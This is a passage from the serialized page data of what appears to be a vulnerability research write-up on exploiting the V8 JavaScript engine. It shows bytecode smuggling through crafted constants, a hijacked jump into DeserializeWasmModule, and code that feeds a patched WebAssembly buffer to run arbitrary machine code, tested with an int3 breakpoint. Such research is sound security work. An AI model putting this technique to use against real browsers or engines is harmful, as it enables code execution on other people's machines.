[365314]\n",[130587],{"type":19,"tag":27,"props":130588,"children":130589},{"__ignoreMap":7},[130590],{"type":24,"value":130585},{"type":19,"tag":20,"props":130592,"children":130593},{},[130594],{"type":24,"value":130595},"If you skip the first two bytes, you have",{"type":19,"tag":43,"props":130597,"children":130598},{},[130599,130630],{"type":19,"tag":47,"props":130600,"children":130601},{},[130602,130607,130609,130614,130616,130622,130624],{"type":19,"tag":27,"props":130603,"children":130605},{"className":130604},[],[130606],{"type":24,"value":130401},{"type":24,"value":130608}," (0x6c) to ",{"type":19,"tag":27,"props":130610,"children":130612},{"className":130611},[],[130613],{"type":24,"value":130417},{"type":24,"value":130615}," (0x0266) starting from register ",{"type":19,"tag":27,"props":130617,"children":130619},{"className":130618},[],[130620],{"type":24,"value":130621},"a2",{"type":24,"value":130623}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":19,"tag":27,"props":130625,"children":130627},{"className":130626},[],[130628],{"type":24,"value":130629},"DeserializeWasmModule(a2, a1)",{"type":19,"tag":47,"props":130631,"children":130632},{},[130633],{"type":24,"value":130634},"a Jump instruction",{"type":19,"tag":7050,"props":130636,"children":130638},{"id":130637},"returning-back-to-js",[130639],{"type":24,"value":130640},"Returning Back to JS",{"type":19,"tag":20,"props":130642,"children":130643},{},[130644,130646,130652],{"type":24,"value":130645},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":19,"tag":27,"props":130647,"children":130649},{"className":130648},[],[130650],{"type":24,"value":130651},"yield",{"type":24,"value":130653}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":19,"tag":20,"props":130655,"children":130656},{},[130657],{"type":24,"value":130658},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":19,"tag":158,"props":130660,"children":130662},{"code":130661,"language":28837,"meta":7,"className":28835,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[130663],{"type":19,"tag":27,"props":130664,"children":130665},{"__ignoreMap":7},[130666,130677,130725,130746,130762,130785,130813,130830],{"type":19,"tag":168,"props":130667,"children":130668},{"class":170,"line":171},[130669,130673],{"type":19,"tag":168,"props":130670,"children":130671},{"style":419},[130672],{"type":24,"value":45813},{"type":19,"tag":168,"props":130674,"children":130675},{"style":212},[130676],{"type":24,"value":691},{"type":19,"tag":168,"props":130678,"children":130679},{"class":170,"line":198},[130680,130685,130689,130694,130698,130703,130707,130712,130716,130720],{"type":19,"tag":168,"props":130681,"children":130682},{"style":393},[130683],{"type":24,"value":130684}," $",{"type":19,"tag":168,"props":130686,"children":130687},{"style":212},[130688],{"type":24,"value":74107},{"type":19,"tag":168,"props":130690,"children":130691},{"style":181},[130692],{"type":24,"value":130693},"'a1 + 0xa931111;'",{"type":19,"tag":168,"props":130695,"children":130696},{"style":212},[130697],{"type":24,"value":948},{"type":19,"tag":168,"props":130699,"children":130700},{"style":175},[130701],{"type":24,"value":130702},"repeat",{"type":19,"tag":168,"props":130704,"children":130705},{"style":212},[130706],{"type":24,"value":500},{"type":19,"tag":168,"props":130708,"children":130709},{"style":192},[130710],{"type":24,"value":130711},"0x059302",{"type":19,"tag":168,"props":130713,"children":130714},{"style":399},[130715],{"type":24,"value":48738},{"type":19,"tag":168,"props":130717,"children":130718},{"style":192},[130719],{"type":24,"value":1954},{"type":19,"tag":168,"props":130721,"children":130722},{"style":212},[130723],{"type":24,"value":130724},")}\n",{"type":19,"tag":168,"props":130726,"children":130727},{"class":170,"line":415},[130728,130733,130737,130742],{"type":19,"tag":168,"props":130729,"children":130730},{"style":393},[130731],{"type":24,"value":130732}," a1",{"type":19,"tag":168,"props":130734,"children":130735},{"style":399},[130736],{"type":24,"value":6343},{"type":19,"tag":168,"props":130738,"children":130739},{"style":192},[130740],{"type":24,"value":130741}," 0x0402666c",{"type":19,"tag":168,"props":130743,"children":130744},{"style":212},[130745],{"type":24,"value":412},{"type":19,"tag":168,"props":130747,"children":130748},{"class":170,"line":450},[130749,130753,130758],{"type":19,"tag":168,"props":130750,"children":130751},{"style":419},[130752],{"type":24,"value":32676},{"type":19,"tag":168,"props":130754,"children":130755},{"style":192},[130756],{"type":24,"value":130757}," 0x393e91a",{"type":19,"tag":168,"props":130759,"children":130760},{"style":212},[130761],{"type":24,"value":412},{"type":19,"tag":168,"props":130763,"children":130764},{"class":170,"line":560},[130765,130769,130773,130777,130781],{"type":19,"tag":168,"props":130766,"children":130767},{"style":212},[130768],{"type":24,"value":44355},{"type":19,"tag":168,"props":130770,"children":130771},{"style":419},[130772],{"type":24,"value":45893},{"type":19,"tag":168,"props":130774,"children":130775},{"style":212},[130776],{"type":24,"value":461},{"type":19,"tag":168,"props":130778,"children":130779},{"style":393},[130780],{"type":24,"value":48937},{"type":19,"tag":168,"props":130782,"children":130783},{"style":212},[130784],{"type":24,"value":12250},{"type":19,"tag":168,"props":130786,"children":130787},{"class":170,"line":666},[130788,130792,130796,130800,130804,130809],{"type":19,"tag":168,"props":130789,"children":130790},{"style":393},[130791],{"type":24,"value":99431},{"type":19,"tag":168,"props":130793,"children":130794},{"style":212},[130795],{"type":24,"value":948},{"type":19,"tag":168,"props":130797,"children":130798},{"style":175},[130799],{"type":24,"value":99440},{"type":19,"tag":168,"props":130801,"children":130802},{"style":212},[130803],{"type":24,"value":500},{"type":19,"tag":168,"props":130805,"children":130806},{"style":181},[130807],{"type":24,"value":130808},"\"foo\"",{"type":19,"tag":168,"props":130810,"children":130811},{"style":212},[130812],{"type":24,"value":1249},{"type":19,"tag":168,"props":130814,"children":130815},{"class":170,"line":694},[130816,130821,130826],{"type":19,"tag":168,"props":130817,"children":130818},{"style":419},[130819],{"type":24,"value":130820}," yield",{"type":19,"tag":168,"props":130822,"children":130823},{"style":393},[130824],{"type":24,"value":130825}," a16",{"type":19,"tag":168,"props":130827,"children":130828},{"style":212},[130829],{"type":24,"value":412},{"type":19,"tag":168,"props":130831,"children":130832},{"class":170,"line":707},[130833],{"type":19,"tag":168,"props":130834,"children":130835},{"style":212},[130836],{"type":24,"value":1326},{"type":19,"tag":20,"props":130838,"children":130839},{},[130840,130842],{"type":24,"value":130841},"Starting from the final ",{"type":19,"tag":27,"props":130843,"children":130845},{"className":130844},[],[130846],{"type":24,"value":130549},{"type":19,"tag":158,"props":130848,"children":130850},{"code":130849}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[130851],{"type":19,"tag":27,"props":130852,"children":130853},{"__ignoreMap":7},[130854],{"type":24,"value":130849},{"type":19,"tag":20,"props":130856,"children":130857},{},[130858,130860,130865,130867,130873],{"type":24,"value":130859},"The smuggled jump in ",{"type":19,"tag":27,"props":130861,"children":130863},{"className":130862},[],[130864],{"type":24,"value":130549},{"type":24,"value":130866}," will redirect us to ",{"type":19,"tag":27,"props":130868,"children":130870},{"className":130869},[],[130871],{"type":24,"value":130872},"1a e9 93 03",{"type":24,"value":130874},", which results in:",{"type":19,"tag":43,"props":130876,"children":130877},{},[130878,130889],{"type":19,"tag":47,"props":130879,"children":130880},{},[130881,130887],{"type":19,"tag":27,"props":130882,"children":130884},{"className":130883},[],[130885],{"type":24,"value":130886},"Star r16",{"type":24,"value":130888}," (store accumulator to r16)",{"type":19,"tag":47,"props":130890,"children":130891},{},[130892,130897],{"type":19,"tag":27,"props":130893,"children":130895},{"className":130894},[],[130896],{"type":24,"value":130319},{"type":24,"value":130898}," past the throw into the catch relevant code",{"type":19,"tag":20,"props":130900,"children":130901},{},[130902,130904,130910],{"type":24,"value":130903},"This will bring us nicely to the final ",{"type":19,"tag":27,"props":130905,"children":130907},{"className":130906},[],[130908],{"type":24,"value":130909},"yield a16",{"type":24,"value":130911},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":19,"tag":7050,"props":130913,"children":130915},{"id":130914},"executing-shellcode",[130916],{"type":24,"value":130917},"Executing Shellcode",{"type":19,"tag":20,"props":130919,"children":130920},{},[130921],{"type":24,"value":130922},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":19,"tag":158,"props":130924,"children":130926},{"code":130925,"language":33090,"meta":7,"className":33088,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[130927],{"type":19,"tag":27,"props":130928,"children":130929},{"__ignoreMap":7},[130930,130960,131187,131255,131262,131307,131353,131393,131400,131424,131461,131497],{"type":19,"tag":168,"props":130931,"children":130932},{"class":170,"line":171},[130933,130937,130942,130946,130950,130955],{"type":19,"tag":168,"props":130934,"children":130935},{"style":382},[130936],{"type":24,"value":32521},{"type":19,"tag":168,"props":130938,"children":130939},{"style":393},[130940],{"type":24,"value":130941}," wasm_code",{"type":19,"tag":168,"props":130943,"children":130944},{"style":399},[130945],{"type":24,"value":402},{"type":19,"tag":168,"props":130947,"children":130948},{"style":382},[130949],{"type":24,"value":29405},{"type":19,"tag":168,"props":130951,"children":130952},{"style":175},[130953],{"type":24,"value":130954}," Uint8Array",{"type":19,"tag":168,"props":130956,"children":130957},{"style":212},[130958],{"type":24,"value":130959},"([\n",{"type":19,"tag":168,"props":130961,"children":130962},{"class":170,"line":198},[130963,130968,130972,130977,130981,130986,130990,130995,130999,131003,131007,131011,131015,131019,131023,131027,131031,131035,131039,131043,131047,131051,131055,131060,131064,131068,131072,131076,131080,131084,131088,131092,131096,131100,131104,131108,131112,131116,131120,131124,131128,131132,131136,131140,131144,131148,131152,131157,131161,131166,131170,131175,131179,131183],{"type":19,"tag":168,"props":130964,"children":130965},{"style":192},[130966],{"type":24,"value":130967}," 0",{"type":19,"tag":168,"props":130969,"children":130970},{"style":212},[130971],{"type":24,"value":471},{"type":19,"tag":168,"props":130973,"children":130974},{"style":192},[130975],{"type":24,"value":130976},"97",{"type":19,"tag":168,"props":130978,"children":130979},{"style":212},[130980],{"type":24,"value":471},{"type":19,"tag":168,"props":130982,"children":130983},{"style":192},[130984],{"type":24,"value":130985},"115",{"type":19,"tag":168,"props":130987,"children":130988},{"style":212},[130989],{"type":24,"value":471},{"type":19,"tag":168,"props":130991,"children":130992},{"style":192},[130993],{"type":24,"value":130994},"109",{"type":19,"tag":168,"props":130996,"children":130997},{"style":212},[130998],{"type":24,"value":471},{"type":19,"tag":168,"props":131000,"children":131001},{"style":192},[131002],{"type":24,"value":1442},{"type":19,"tag":168,"props":131004,"children":131005},{"style":212},[131006],{"type":24,"value":471},{"type":19,"tag":168,"props":131008,"children":131009},{"style":192},[131010],{"type":24,"value":1452},{"type":19,"tag":168,"props":131012,"children":131013},{"style":212},[131014],{"type":24,"value":471},{"type":19,"tag":168,"props":131016,"children":131017},{"style":192},[131018],{"type":24,"value":1452},{"type":19,"tag":168,"props":131020,"children":131021},{"style":212},[131022],{"type":24,"value":471},{"type":19,"tag":168,"props":131024,"children":131025},{"style":192},[131026],{"type":24,"value":1452},{"type":19,"tag":168,"props":131028,"children":131029},{"style":212},[131030],{"type":24,"value":471},{"type":19,"tag":168,"props":131032,"children":131033},{"style":192},[131034],{"type":24,"value":1442},{"type":19,"tag":168,"props":131036,"children":131037},{"style":212},[131038],{"type":24,"value":471},{"type":19,"tag":168,"props":131040,"children":131041},{"style":192},[131042],{"type":24,"value":14978},{"type":19,"tag":168,"props":131044,"children":131045},{"style":212},[131046],{"type":24,"value":471},{"type":19,"tag":168,"props":131048,"children":131049},{"style":192},[131050],{"type":24,"value":1442},{"type":19,"tag":168,"props":131052,"children":131053},{"style":212},[131054],{"type":24,"value":471},{"type":19,"tag":168,"props":131056,"children":131057},{"style":192},[131058],{"type":24,"value":131059},"96",{"type":19,"tag":168,"props":131061,"children":131062},{"style":212},[131063],{"type":24,"value":471},{"type":19,"tag":168,"props":131065,"children":131066},{"style":192},[131067],{"type":24,"value":1452},{"type":19,"tag":168,"props":131069,"children":131070},{"style":212},[131071],{"type":24,"value":471},{"type":19,"tag":168,"props":131073,"children":131074},{"style":192},[131075],{"type":24,"value":1452},{"type":19,"tag":168,"props":131077,"children":131078},{"style":212},[131079],{"type":24,"value":471},{"type":19,"tag":168,"props":131081,"children":131082},{"style":192},[131083],{"type":24,"value":14745},{"type":19,"tag":168,"props":131085,"children":131086},{"style":212},[131087],{"type":24,"value":471},{"type":19,"tag":168,"props":131089,"children":131090},{"style":192},[131091],{"type":24,"value":519},{"type":19,"tag":168,"props":131093,"children":131094},{"style":212},[131095],{"type":24,"value":471},{"type":19,"tag":168,"props":131097,"children":131098},{"style":192},[131099],{"type":24,"value":1442},{"type":19,"tag":168,"props":131101,"children":131102},{"style":212},[131103],{"type":24,"value":471},{"type":19,"tag":168,"props":131105,"children":131106},{"style":192},[131107],{"type":24,"value":1452},{"type":19,"tag":168,"props":131109,"children":131110},{"style":212},[131111],{"type":24,"value":471},{"type":19,"tag":168,"props":131113,"children":131114},{"style":192},[131115],{"type":24,"value":52154},{"type":19,"tag":168,"props":131117,"children":131118},{"style":212},[131119],{"type":24,"value":471},{"type":19,"tag":168,"props":131121,"children":131122},{"style":192},[131123],{"type":24,"value":53369},{"type":19,"tag":168,"props":131125,"children":131126},{"style":212},[131127],{"type":24,"value":471},{"type":19,"tag":168,"props":131129,"children":131130},{"style":192},[131131],{"type":24,"value":1442},{"type":19,"tag":168,"props":131133,"children":131134},{"style":212},[131135],{"type":24,"value":471},{"type":19,"tag":168,"props":131137,"children":131138},{"style":192},[131139],{"type":24,"value":15559},{"type":19,"tag":168,"props":131141,"children":131142},{"style":212},[131143],{"type":24,"value":471},{"type":19,"tag":168,"props":131145,"children":131146},{"style":192},[131147],{"type":24,"value":130985},{"type":19,"tag":168,"props":131149,"children":131150},{"style":212},[131151],{"type":24,"value":471},{"type":19,"tag":168,"props":131153,"children":131154},{"style":192},[131155],{"type":24,"value":131156},"104",{"type":19,"tag":168,"props":131158,"children":131159},{"style":212},[131160],{"type":24,"value":471},{"type":19,"tag":168,"props":131162,"children":131163},{"style":192},[131164],{"type":24,"value":131165},"101",{"type":19,"tag":168,"props":131167,"children":131168},{"style":212},[131169],{"type":24,"value":471},{"type":19,"tag":168,"props":131171,"children":131172},{"style":192},[131173],{"type":24,"value":131174},"108",{"type":19,"tag":168,"props":131176,"children":131177},{"style":212},[131178],{"type":24,"value":471},{"type":19,"tag":168,"props":131180,"children":131181},{"style":192},[131182],{"type":24,"value":131174},{"type":19,"tag":168,"props":131184,"children":131185},{"style":212},[131186],{"type":24,"value":915},{"type":19,"tag":168,"props":131188,"children":131189},{"class":170,"line":415},[131190,131194,131198,131202,131206,131210,131214,131218,131222,131226,131230,131234,131238,131242,131246,131251],{"type":19,"tag":168,"props":131191,"children":131192},{"style":192},[131193],{"type":24,"value":130967},{"type":19,"tag":168,"props":131195,"children":131196},{"style":212},[131197],{"type":24,"value":471},{"type":19,"tag":168,"props":131199,"children":131200},{"style":192},[131201],{"type":24,"value":1452},{"type":19,"tag":168,"props":131203,"children":131204},{"style":212},[131205],{"type":24,"value":471},{"type":19,"tag":168,"props":131207,"children":131208},{"style":192},[131209],{"type":24,"value":86742},{"type":19,"tag":168,"props":131211,"children":131212},{"style":212},[131213],{"type":24,"value":471},{"type":19,"tag":168,"props":131215,"children":131216},{"style":192},[131217],{"type":24,"value":14978},{"type":19,"tag":168,"props":131219,"children":131220},{"style":212},[131221],{"type":24,"value":471},{"type":19,"tag":168,"props":131223,"children":131224},{"style":192},[131225],{"type":24,"value":1442},{"type":19,"tag":168,"props":131227,"children":131228},{"style":212},[131229],{"type":24,"value":471},{"type":19,"tag":168,"props":131231,"children":131232},{"style":192},[131233],{"type":24,"value":519},{"type":19,"tag":168,"props":131235,"children":131236},{"style":212},[131237],{"type":24,"value":471},{"type":19,"tag":168,"props":131239,"children":131240},{"style":192},[131241],{"type":24,"value":1452},{"type":19,"tag":168,"props":131243,"children":131244},{"style":212},[131245],{"type":24,"value":471},{"type":19,"tag":168,"props":131247,"children":131248},{"style":192},[131249],{"type":24,"value":131250},"11",{"type":19,"tag":168,"props":131252,"children":131253},{"style":212},[131254],{"type":24,"value":915},{"type":19,"tag":168,"props":131256,"children":131257},{"class":170,"line":450},[131258],{"type":19,"tag":168,"props":131259,"children":131260},{"style":212},[131261],{"type":24,"value":1171},{"type":19,"tag":168,"props":131263,"children":131264},{"class":170,"line":560},[131265,131269,131273,131277,131281,131286,131290,131294,131298,131303],{"type":19,"tag":168,"props":131266,"children":131267},{"style":382},[131268],{"type":24,"value":32521},{"type":19,"tag":168,"props":131270,"children":131271},{"style":393},[131272],{"type":24,"value":69111},{"type":19,"tag":168,"props":131274,"children":131275},{"style":399},[131276],{"type":24,"value":402},{"type":19,"tag":168,"props":131278,"children":131279},{"style":382},[131280],{"type":24,"value":29405},{"type":19,"tag":168,"props":131282,"children":131283},{"style":393},[131284],{"type":24,"value":131285}," WebAssembly",{"type":19,"tag":168,"props":131287,"children":131288},{"style":212},[131289],{"type":24,"value":948},{"type":19,"tag":168,"props":131291,"children":131292},{"style":175},[131293],{"type":24,"value":83408},{"type":19,"tag":168,"props":131295,"children":131296},{"style":212},[131297],{"type":24,"value":500},{"type":19,"tag":168,"props":131299,"children":131300},{"style":393},[131301],{"type":24,"value":131302},"wasm_code",{"type":19,"tag":168,"props":131304,"children":131305},{"style":212},[131306],{"type":24,"value":1249},{"type":19,"tag":168,"props":131308,"children":131309},{"class":170,"line":666},[131310,131314,131319,131323,131327,131331,131335,131340,131344,131349],{"type":19,"tag":168,"props":131311,"children":131312},{"style":382},[131313],{"type":24,"value":32521},{"type":19,"tag":168,"props":131315,"children":131316},{"style":393},[131317],{"type":24,"value":131318}," inst",{"type":19,"tag":168,"props":131320,"children":131321},{"style":399},[131322],{"type":24,"value":402},{"type":19,"tag":168,"props":131324,"children":131325},{"style":382},[131326],{"type":24,"value":29405},{"type":19,"tag":168,"props":131328,"children":131329},{"style":393},[131330],{"type":24,"value":131285},{"type":19,"tag":168,"props":131332,"children":131333},{"style":212},[131334],{"type":24,"value":948},{"type":19,"tag":168,"props":131336,"children":131337},{"style":175},[131338],{"type":24,"value":131339},"Instance",{"type":19,"tag":168,"props":131341,"children":131342},{"style":212},[131343],{"type":24,"value":500},{"type":19,"tag":168,"props":131345,"children":131346},{"style":393},[131347],{"type":24,"value":131348},"mod",{"type":19,"tag":168,"props":131350,"children":131351},{"style":212},[131352],{"type":24,"value":1249},{"type":19,"tag":168,"props":131354,"children":131355},{"class":170,"line":694},[131356,131360,131364,131368,131372,131376,131380,131384,131389],{"type":19,"tag":168,"props":131357,"children":131358},{"style":382},[131359],{"type":24,"value":32521},{"type":19,"tag":168,"props":131361,"children":131362},{"style":393},[131363],{"type":24,"value":77498},{"type":19,"tag":168,"props":131365,"children":131366},{"style":399},[131367],{"type":24,"value":402},{"type":19,"tag":168,"props":131369,"children":131370},{"style":393},[131371],{"type":24,"value":131318},{"type":19,"tag":168,"props":131373,"children":131374},{"style":212},[131375],{"type":24,"value":948},{"type":19,"tag":168,"props":131377,"children":131378},{"style":393},[131379],{"type":24,"value":35361},{"type":19,"tag":168,"props":131381,"children":131382},{"style":212},[131383],{"type":24,"value":948},{"type":19,"tag":168,"props":131385,"children":131386},{"style":393},[131387],{"type":24,"value":131388},"shell",{"type":19,"tag":168,"props":131390,"children":131391},{"style":212},[131392],{"type":24,"value":412},{"type":19,"tag":168,"props":131394,"children":131395},{"class":170,"line":707},[131396],{"type":19,"tag":168,"props":131397,"children":131398},{"emptyLinePlaceholder":14},[131399],{"type":24,"value":1093},{"type":19,"tag":168,"props":131401,"children":131402},{"class":170,"line":725},[131403,131407,131412,131416,131420],{"type":19,"tag":168,"props":131404,"children":131405},{"style":399},[131406],{"type":24,"value":53872},{"type":19,"tag":168,"props":131408,"children":131409},{"style":175},[131410],{"type":24,"value":131411},"WasmTierUpFunction",{"type":19,"tag":168,"props":131413,"children":131414},{"style":212},[131415],{"type":24,"value":500},{"type":19,"tag":168,"props":131417,"children":131418},{"style":393},[131419],{"type":24,"value":73789},{"type":19,"tag":168,"props":131421,"children":131422},{"style":212},[131423],{"type":24,"value":1249},{"type":19,"tag":168,"props":131425,"children":131426},{"class":170,"line":746},[131427,131431,131436,131440,131445,131449,131453,131457],{"type":19,"tag":168,"props":131428,"children":131429},{"style":382},[131430],{"type":24,"value":32521},{"type":19,"tag":168,"props":131432,"children":131433},{"style":393},[131434],{"type":24,"value":131435}," serialized",{"type":19,"tag":168,"props":131437,"children":131438},{"style":399},[131439],{"type":24,"value":402},{"type":19,"tag":168,"props":131441,"children":131442},{"style":399},[131443],{"type":24,"value":131444}," %",{"type":19,"tag":168,"props":131446,"children":131447},{"style":175},[131448],{"type":24,"value":130443},{"type":19,"tag":168,"props":131450,"children":131451},{"style":212},[131452],{"type":24,"value":500},{"type":19,"tag":168,"props":131454,"children":131455},{"style":393},[131456],{"type":24,"value":131348},{"type":19,"tag":168,"props":131458,"children":131459},{"style":212},[131460],{"type":24,"value":1249},{"type":19,"tag":168,"props":131462,"children":131463},{"class":170,"line":755},[131464,131468,131472,131476,131480,131484,131488,131493],{"type":19,"tag":168,"props":131465,"children":131466},{"style":382},[131467],{"type":24,"value":9232},{"type":19,"tag":168,"props":131469,"children":131470},{"style":393},[131471],{"type":24,"value":6600},{"type":19,"tag":168,"props":131473,"children":131474},{"style":399},[131475],{"type":24,"value":402},{"type":19,"tag":168,"props":131477,"children":131478},{"style":382},[131479],{"type":24,"value":29405},{"type":19,"tag":168,"props":131481,"children":131482},{"style":175},[131483],{"type":24,"value":130954},{"type":19,"tag":168,"props":131485,"children":131486},{"style":212},[131487],{"type":24,"value":500},{"type":19,"tag":168,"props":131489,"children":131490},{"style":393},[131491],{"type":24,"value":131492},"serialized",{"type":19,"tag":168,"props":131494,"children":131495},{"style":212},[131496],{"type":24,"value":1249},{"type":19,"tag":168,"props":131498,"children":131499},{"class":170,"line":1008},[131500,131505,131509,131513,131517,131522,131526,131530,131534,131539,131543,131548,131552,131556,131561],{"type":19,"tag":168,"props":131501,"children":131502},{"style":393},[131503],{"type":24,"value":131504},"console",{"type":19,"tag":168,"props":131506,"children":131507},{"style":212},[131508],{"type":24,"value":948},{"type":19,"tag":168,"props":131510,"children":131511},{"style":175},[131512],{"type":24,"value":99440},{"type":19,"tag":168,"props":131514,"children":131515},{"style":212},[131516],{"type":24,"value":500},{"type":19,"tag":168,"props":131518,"children":131519},{"style":181},[131520],{"type":24,"value":131521},"'['",{"type":19,"tag":168,"props":131523,"children":131524},{"style":399},[131525],{"type":24,"value":6343},{"type":19,"tag":168,"props":131527,"children":131528},{"style":393},[131529],{"type":24,"value":6600},{"type":19,"tag":168,"props":131531,"children":131532},{"style":212},[131533],{"type":24,"value":948},{"type":19,"tag":168,"props":131535,"children":131536},{"style":175},[131537],{"type":24,"value":131538},"join",{"type":19,"tag":168,"props":131540,"children":131541},{"style":212},[131542],{"type":24,"value":500},{"type":19,"tag":168,"props":131544,"children":131545},{"style":181},[131546],{"type":24,"value":131547},"', '",{"type":19,"tag":168,"props":131549,"children":131550},{"style":212},[131551],{"type":24,"value":481},{"type":19,"tag":168,"props":131553,"children":131554},{"style":399},[131555],{"type":24,"value":1811},{"type":19,"tag":168,"props":131557,"children":131558},{"style":181},[131559],{"type":24,"value":131560}," ']'",{"type":19,"tag":168,"props":131562,"children":131563},{"style":212},[131564],{"type":24,"value":1249},{"type":19,"tag":20,"props":131566,"children":131567},{},[131568],{"type":24,"value":131569},"This produces the following output:",{"type":19,"tag":158,"props":131571,"children":131573},{"code":131572},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[131574],{"type":19,"tag":27,"props":131575,"children":131576},{"__ignoreMap":7},[131577],{"type":24,"value":131572},{"type":19,"tag":20,"props":131579,"children":131580},{},[131581,131583,131589,131591,131597,131599,131605,131606,131612,131614,131619],{"type":24,"value":131582},"The bytes ",{"type":19,"tag":27,"props":131584,"children":131586},{"className":131585},[],[131587],{"type":24,"value":131588},"85, 72, 137, 229, ...",{"type":24,"value":131590}," correspond to the x86-64 function prologue (",{"type":19,"tag":27,"props":131592,"children":131594},{"className":131593},[],[131595],{"type":24,"value":131596},"push rbp; mov rbp, rsp",{"type":24,"value":131598},"). We replace the first byte with ",{"type":19,"tag":27,"props":131600,"children":131602},{"className":131601},[],[131603],{"type":24,"value":131604},"0xcc",{"type":24,"value":13908},{"type":19,"tag":27,"props":131607,"children":131609},{"className":131608},[],[131610],{"type":24,"value":131611},"int3",{"type":24,"value":131613}," opcode), and use this modified buffer as the serialized input to ",{"type":19,"tag":27,"props":131615,"children":131617},{"className":131616},[],[131618],{"type":24,"value":130417},{"type":24,"value":1922},{"type":19,"tag":158,"props":131621,"children":131623},{"code":131622,"language":33090,"meta":7,"className":33088,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[131624],{"type":19,"tag":27,"props":131625,"children":131626},{"__ignoreMap":7},[131627,131650,131677,131897,131964,131972,131999,132213,132465,132716,132942,133186,133406,133413,133462,133507,133551,133590,133602],{"type":19,"tag":168,"props":131628,"children":131629},{"class":170,"line":171},[131630,131634,131638,131642,131646],{"type":19,"tag":168,"props":131631,"children":131632},{"style":212},[131633],{"type":24,"value":500},{"type":19,"tag":168,"props":131635,"children":131636},{"style":382},[131637],{"type":24,"value":33620},{"type":19,"tag":168,"props":131639,"children":131640},{"style":212},[131641],{"type":24,"value":37172},{"type":19,"tag":168,"props":131643,"children":131644},{"style":382},[131645],{"type":24,"value":12268},{"type":19,"tag":168,"props":131647,"children":131648},{"style":212},[131649],{"type":24,"value":691},{"type":19,"tag":168,"props":131651,"children":131652},{"class":170,"line":198},[131653,131657,131661,131665,131669,131673],{"type":19,"tag":168,"props":131654,"children":131655},{"style":382},[131656],{"type":24,"value":33663},{"type":19,"tag":168,"props":131658,"children":131659},{"style":393},[131660],{"type":24,"value":130941},{"type":19,"tag":168,"props":131662,"children":131663},{"style":399},[131664],{"type":24,"value":402},{"type":19,"tag":168,"props":131666,"children":131667},{"style":382},[131668],{"type":24,"value":29405},{"type":19,"tag":168,"props":131670,"children":131671},{"style":175},[131672],{"type":24,"value":130954},{"type":19,"tag":168,"props":131674,"children":131675},{"style":212},[131676],{"type":24,"value":130959},{"type":19,"tag":168,"props":131678,"children":131679},{"class":170,"line":415},[131680,131685,131689,131693,131697,131701,131705,131709,131713,131717,131721,131725,131729,131733,131737,131741,131745,131749,131753,131757,131761,131765,131769,131773,131777,131781,131785,131789,131793,131797,131801,131805,131809,131813,131817,131821,131825,131829,131833,131837,131841,131845,131849,131853,131857,131861,131865,131869,131873,131877,131881,13188